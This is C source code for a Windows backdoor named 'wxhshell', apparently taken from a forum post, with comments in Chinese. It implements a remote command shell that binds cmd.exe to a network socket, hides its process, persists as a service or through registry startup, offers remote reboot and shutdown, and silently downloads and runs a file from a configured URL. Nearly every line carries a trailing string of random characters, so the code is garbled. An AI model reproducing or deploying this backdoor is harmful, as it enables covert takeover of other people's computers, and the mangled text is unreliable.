    switch(cmd[0]) { 5h|'DO x|o  
  ,3VG.u;U   
  // 帮助 (y=dR1p  
  case '?': { ltNuLZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DgDSVFk ~  
    break; 2-8YSHlh  
  } .HyjL5r-  
  // 安装 }Q`/K;yq  
  case 'i': { nnfY$&3A  
    if(Install()) v$t{o{3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2yl6~(JC+  
    else _n< LVd E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -`-ACWeNV  
    break; jv*Dg (  
    } pZu?V"R  
  // 卸载 CHPL>'NJzc  
  case 'r': { SW3wMPy&s  
    if(Uninstall()) i Bi7|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {udrT"h  
    else OfD@\;L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NOF?LV  
    break; a;56k  
    } uAp -$?  
  // 显示 wxhshell 所在路径 q|n97.vD  
  case 'p': { ~@%(RMJm&  
    char svExeFile[MAX_PATH];  C}Rs[  
    strcpy(svExeFile,"\n\r"); `ajx hp  
      strcat(svExeFile,ExeFile); h^['rmd  
        send(wsh,svExeFile,strlen(svExeFile),0); jVX._bEGX  
    break; s0gJ f[  
    } n)tU9@4Np  
  // 重启 B:e.gtM5  
  case 'b': { vAi"$e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NV:>a  
    if(Boot(REBOOT)) Mx^y>\X)v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kX igX-  
    else { b+W)2rFO  
    closesocket(wsh); ah 4kA LO  
    ExitThread(0); *]FgfttES  
    } 'n>K^rA  
    break; c L?\^K)  
    } D._{E*vg  
  // 关机 U%Dit  
  case 'd': { j -#E?&2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vZ:G8K)o(  
    if(Boot(SHUTDOWN)) w-J"zC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <H<!ht%q3  
    else { \.5F](:  
    closesocket(wsh); .H ,pO#{;  
    ExitThread(0); Dp^"J85}   
    } E yd$fcRK  
    break; I9;xzES  
    } >g=^,G}y  
  // 获取shell >+L7k^[,0  
  case 's': { K-Re"zsz  
    CmdShell(wsh); 8098y,mQe  
    closesocket(wsh); bi+9R-=&  
    ExitThread(0); 4/b(Y4$,[r  
    break; ,cLH*@  
  } g&Z"_7L~  
  // 退出 N A8 sN  
  case 'x': { S3ErH,XB.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `a-Bji?  
    CloseIt(wsh); %z30=?VL  
    break; gRHtgR)T3  
    } z3clUtC+  
  // 离开  64SW  
  case 'q': { \e_IFISC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ih; aBS  
    closesocket(wsh); aUA cR W  
    WSACleanup(); D2{L=  
    exit(1); 2v4W6R  
    break; :RHm*vt  
        } p*Xix%#6  
  } K6-6{vt  
  } )GK+  
z23#G>I&  
  // 提示信息 46ILs1T6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l/[pEUYU  
} V5~fMsse  
  } )u<eO FI+  
C B6A}m  
  return; vlvvi()  
} Cb4_ ?OR0  
]{<saAmJC  
// shell模块句柄 TopHE  
int CmdShell(SOCKET sock) w"1 x=+  
{ Vu=] O/ =P  
STARTUPINFO si; aFyh,  
ZeroMemory(&si,sizeof(si)); ,}KwP*:Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |hc\jb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l(#1mY5!q8  
PROCESS_INFORMATION ProcessInfo; grc:Y  
char cmdline[]="cmd"; >}CEN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (nq^\ZdF  
  return 0; _p0)vT  
} 0iF-}o  
@' d6iYk_  
// 自身启动模式 dIvy!d2l  
int StartFromService(void) RJ@\W=aZ  
{ o OQ'*7_  
typedef struct ;>8kPG  
{ vmLpm xS  
  DWORD ExitStatus; X~Cq  
  DWORD PebBaseAddress; ) y`i@S}J  
  DWORD AffinityMask; 7_KXD#  
  DWORD BasePriority; Oo1ecbY  
  ULONG UniqueProcessId; f9a$$nb3`  
  ULONG InheritedFromUniqueProcessId; >otJF3zw   
}   PROCESS_BASIC_INFORMATION; ?.Q3 pUT  
iKhH^V%j  
PROCNTQSIP NtQueryInformationProcess; *Z; r B  
HAd%k$Xu{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `UQEXoB)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1 =^  
sCkO0dl8  
  HANDLE             hProcess; (vnoP< 0  
  PROCESS_BASIC_INFORMATION pbi; Cs#w72N  
NCn`}QP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "H$@b`)  
  if(NULL == hInst ) return 0; \ADLMj`F|  
L:pUvcAc?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O>%$q8x@i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m<3w^mww  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x)_r@l`$ix  
[]gRfM]$&  
  if (!NtQueryInformationProcess) return 0; 2QL?]Vo  
\sITwPA[z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ' Rc#^U*n  
  if(!hProcess) return 0; Z%OW5]q  
b)`pZiQP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >Mw'eQ0(y  
ws[/  
  CloseHandle(hProcess); 7E\g &R.  
T)~!mifX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \2>3Opt  
if(hProcess==NULL) return 0; l sr?b  
?!y"OrHg  
HMODULE hMod; j`9Qzi1  
char procName[255]; oqYt/4^Q  
unsigned long cbNeeded; `7\H41%\pp  
A? r^V2+j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'g hys1H  
VX!hv`E  
  CloseHandle(hProcess); :BD>yOlG  
s4bv;W  
if(strstr(procName,"services")) return 1; // 以服务启动 5z Kqb  
]Jn2Ra"j  
  return 0; // 注册表启动 @vt$MiOi  
} x[x(y{&~  
u{Ak:0G7  
// 主模块 c0ZaFJ  
int StartWxhshell(LPSTR lpCmdLine) N&m_e)E5c  
{ lE'wfUb  
  SOCKET wsl; )~dOmfw%|  
BOOL val=TRUE; (;ADW+.`J  
  int port=0; |vz9Hs$@l  
  struct sockaddr_in door; 96}eR,  
\c% g M1  
  if(wscfg.ws_autoins) Install(); 9@'4P  
$@.jZ_G  
port=atoi(lpCmdLine); e2wvc/gG6  
F&az":  
if(port<=0) port=wscfg.ws_port; h/?6=D{  
SY T$3|a  
  WSADATA data; vxVOcO9<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9go))&`PJL  
y\,f6=%k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   " #v%36U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oM-[B h]A  
  door.sin_family = AF_INET; Sc_5FX\Yx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D5L{T+}Oi%  
  door.sin_port = htons(port); !i Jipe5  
)4m_A p\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .&|L|q}  
closesocket(wsl); WFDCPQ@  
return 1; "V}qf3 qU  
} J@Yj\9U  
v2>Z^  
  if(listen(wsl,2) == INVALID_SOCKET) { M1{(OY(G  
closesocket(wsl); s[X B#)H4  
return 1; CA*~2|  
} $>r5>6  
  Wxhshell(wsl); :)4*^a/lC  
  WSACleanup(); Mk5RHDh  
$3\,h; y  
return 0; {SdO9Yy?@7  
x<F$aXOS  
} 6$RpV'xz  
&F6C  
// 以NT服务方式启动 u"Y]P*[k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0OWL  
{ Hi8Y6|y$D  
DWORD   status = 0; vyU!+mlc  
  DWORD   specificError = 0xfffffff; N|Habua<Xw  
DFy1 bg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !_x*m@/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -_>.f(1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X<euD9?  
  serviceStatus.dwWin32ExitCode     = 0; U=m=1FYaG  
  serviceStatus.dwServiceSpecificExitCode = 0; m&/=&S  
  serviceStatus.dwCheckPoint       = 0; ~kb{K;  
  serviceStatus.dwWaitHint       = 0; PeNF+5s/K  
_ECB^s_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R=$Ls6z  
  if (hServiceStatusHandle==0) return; Qxq-Mpx{  
[r9d<Zi}{  
status = GetLastError(); nzuF]vo  
  if (status!=NO_ERROR) xS+rHC  
{ eY}V9*.v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wS$46M<  
    serviceStatus.dwCheckPoint       = 0; u"FjwF?  
    serviceStatus.dwWaitHint       = 0; "b%FmM  
    serviceStatus.dwWin32ExitCode     = status; ]w[ThHRJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; A*i_|]Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); : Ss3ck*=  
    return; *eGM7o*\X  
  } 8x{Hg9  
BIfi:7I;Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %5Rq1$D  
  serviceStatus.dwCheckPoint       = 0; GOVAb'  
  serviceStatus.dwWaitHint       = 0; ti9}*8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7'eh)[T  
} fj+O'X  
6Xa.0(h  
// 处理NT服务事件,比如:启动、停止 d)KF3oA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i!,HB|wQ  
{ Ekjf^Uo  
switch(fdwControl) _B$"e[:yX  
{ =bL{i&&  
case SERVICE_CONTROL_STOP: . #U}q 7X  
  serviceStatus.dwWin32ExitCode = 0; 0p3vE,pF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '{VM> Q  
  serviceStatus.dwCheckPoint   = 0; ea~i-7  
  serviceStatus.dwWaitHint     = 0; d+5:Qrr  
  { Kz[BB@[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #{,h@g}W  
  } KY+]RxX  
  return; _]o5R7[MQ  
case SERVICE_CONTROL_PAUSE: rBfg*r`)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GAp!nix6h  
  break; LdEE+"Jw  
case SERVICE_CONTROL_CONTINUE: #U@| J}a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VQ<5%+  
  break; VGZ6  
case SERVICE_CONTROL_INTERROGATE: qd(hQsfqYU  
  break; Ub)M*Cq0(o  
};  yekRwo|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]>8)|]O6n  
} dtTlIhh1V  
~6d5zI4\  
// 标准应用程序主函数 3cThu43c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .Dx2 ;lj  
{ }cW#045es  
T2|:nC)@  
// 获取操作系统版本 ML= z<u+  
OsIsNt=GetOsVer(); ^:z7E1 ~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f3 &/r  
) b:4uK A  
  // 从命令行安装 5f_7&NxT  
  if(strpbrk(lpCmdLine,"iI")) Install(); @vAFfYU9<.  
bn-=fb(  
  // 下载执行文件 `qu] Pxk  
if(wscfg.ws_downexe) { CQ>]jQ,2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4B$bj `h  
  WinExec(wscfg.ws_filenam,SW_HIDE); WG%2<Q^  
} B.K4!/cF  
DL4iXULNY  
if(!OsIsNt) { s0!kwrBsp  
// 如果时win9x,隐藏进程并且设置为注册表启动 voh^|(:(TH  
HideProc(); $1e pf  
StartWxhshell(lpCmdLine); 6~@5X}^<0  
} usH%dzKK  
else ]l&'k23~p  
  if(StartFromService()) __(V C :  
  // 以服务方式启动 all*P #[X  
  StartServiceCtrlDispatcher(DispatchTable); ]M\q0>HoJ  
else iZC`z }  
  // 普通方式启动 cL7C 2wB`  
  StartWxhshell(lpCmdLine); gjZx8oIoP  
u+z~  
return 0; =|V" #3$f  
}
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只看该作者 1 发表于: 2006-10-10
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